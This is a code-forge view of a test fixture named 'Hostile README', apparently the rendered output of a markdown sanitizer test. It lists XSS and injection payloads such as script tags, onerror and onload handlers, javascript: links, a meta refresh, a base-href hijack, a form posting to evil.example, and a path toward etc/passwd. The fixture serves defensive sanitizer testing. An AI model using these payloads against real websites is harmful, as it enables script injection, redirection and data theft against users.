interplane-forge
INTERPLANE Forge
Brought by drakestapleton
interplane-forge / browse / tests / md / hostile.html
| 1 | <h1 id="hostile-readme">Hostile README</h1> |
| 2 | <p>A brought repository is untrusted. Every line below tries to run code, load something from another host or hide where a link goes.</p> |
| 3 | <p><script>alert(1)</script> |
| 4 | <SCRIPT SRC=//evil.example/x.js></SCRIPT> |
| 5 | <iframe src="<a href="https://evil.example/frame">" class="ext" rel="nofollow noopener noreferrer">https://evil.example/frame"></a></iframe> |
| 6 | <frame src="<a href="https://evil.example/frame">" class="ext" rel="nofollow noopener noreferrer">https://evil.example/frame"></a> |
| 7 | <object data="<a href="https://evil.example/x.swf">" class="ext" rel="nofollow noopener noreferrer">https://evil.example/x.swf"></a></object> |
| 8 | <embed src="<a href="https://evil.example/x.swf">" class="ext" rel="nofollow noopener noreferrer">https://evil.example/x.swf"></a> |
| 9 | <svg onload=alert(1)><circle r="1"/></svg> |
| 10 | <img src="<a href="https://evil.example/track.gif" class="ext" rel="nofollow noopener noreferrer">https://evil.example/track.gif</a>" onerror="alert(1)"> |
| 11 | <a href="javascript:alert(1)" onclick="alert(1)">raw link</a> |
| 12 | <style>body{display:none}</style> |
| 13 | <link rel="stylesheet" href="<a href="https://evil.example/x.css">" class="ext" rel="nofollow noopener noreferrer">https://evil.example/x.css"></a> |
| 14 | <meta http-equiv="refresh" content="0;url=<a href="https://evil.example/">" class="ext" rel="nofollow noopener noreferrer">https://evil.example/"></a> |
| 15 | <base href="<a href="https://evil.example/">" class="ext" rel="nofollow noopener noreferrer">https://evil.example/"></a> |
| 16 | <form action="<a href="https://evil.example/">" class="ext" rel="nofollow noopener noreferrer">https://evil.example/"></a><input name="x"></form> |
| 17 | <details open ontoggle=alert(1)>x</details> |
| 18 | <p onmouseover="alert(1)">paragraph</p></p> |
| 19 | <p>remote |
| 20 | protocol relative |
| 21 | data |
| 22 | js |
| 23 | by reference |
| 24 | <a href="https://evil.example/ci" class="ext" rel="nofollow noopener noreferrer">badge</a></p> |
| 25 | <p>js JS <a href="/o/r/blob/main/docs/%26#106;avascript:alert(1)">ent</a> vb data file</p> |
| 26 | <p><a href="https://evil.example/page" class="ext" rel="nofollow noopener noreferrer">out</a> <a href="https://evil.example/auto" class="ext" rel="nofollow noopener noreferrer">https://evil.example/auto</a> <a href="https://evil.example/bare" class="ext" rel="nofollow noopener noreferrer">https://evil.example/bare</a> <a href="mailto:x@evil.example" class="ext" rel="nofollow noopener noreferrer">mail</a> <a href="//evil.example/protocol-relative" class="ext" rel="nofollow noopener noreferrer">pr</a></p> |
| 27 | <p><a href="https://evil.example/"onmouseover="alert(1)" class="ext" rel="nofollow noopener noreferrer">quote</a> [title](<a href="https://evil.example" class="ext" rel="nofollow noopener noreferrer">https://evil.example</a> "x" onmouseover="alert(1)")</p> |
| 28 | <p><a href="/o/r/blob/main/docs/guide.md">local</a> <img src="/o/r/raw/main/docs/img/logo.png" alt="local image"> <a href="/o/r/blob/main/etc/passwd">up</a> <a href="#hostile-readme">anchor</a></p> |
| 29 | <p>Inline <code><script>alert(1)</script></code> code.</p> |
| 30 | <pre><code><iframe src="https://evil.example/indented"></iframe> |
| 31 | </code></pre> |
| 32 | <pre><code class="language-html"><script src="https://evil.example/fenced.js"></script> |
| 33 | </code></pre> |
| 34 | <table class="md"> |
| 35 | <thead> |
| 36 | <tr><th>cell</th><th>other</th></tr> |
| 37 | </thead> |
| 38 | <tbody> |
| 39 | <tr><td><script>alert(1)</script></td><td>x</td></tr> |
| 40 | <tr><td><img src=x onerror=alert(1)></td><td>t</td></tr> |
| 41 | </tbody> |
| 42 | </table> |